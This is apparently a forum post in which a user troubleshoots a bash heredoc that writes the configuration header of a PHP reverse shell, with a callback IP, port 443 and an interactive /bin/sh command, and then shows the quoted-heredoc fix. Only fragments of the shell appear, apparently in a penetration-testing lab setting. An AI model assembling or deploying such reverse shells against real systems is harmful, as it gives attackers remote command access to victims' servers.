So that works, almost :) When I use the cat > /tmp/test.php << EOF for ex.
cat > /tmp/shell.php << EOF
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.11.0.100'; // CHANGE THIS
$port = 443; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
EOF
The output looks like this:
<?php
set_time_limit (0);
= "1.0";
= '10.11.0.100'; // CHANGE THIS
= 443; // CHANGE THIS
= 1400;
= null;
= null;
= 'uname -a; w; id; /bin/sh -i';
= 0;
= 0;
And terminal gives me:
root@kali:~/My_Scripts# ./shell_pipe.bs
./shell_pipe.bs: line 21: //: Is a directory
./shell_pipe.bs: line 22: //: Is a directory
./shell_pipe.bs: line 23: //: Is a directory
./shell_pipe.bs: line 25: //: Is a directory
./shell_pipe.bs: line 26: //: Is a directory
./shell_pipe.bs: line 27: syntax error near unexpected token `'pcntl_fork''
./shell_pipe.bs: line 27: `if (function_exists('pcntl_fork')) {'
EDIT, for the shell:
cat > /root/Desktop/shell.php <<'EOF'
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '$i'; // CHANGE THIS
$port = 443; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
EOF
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...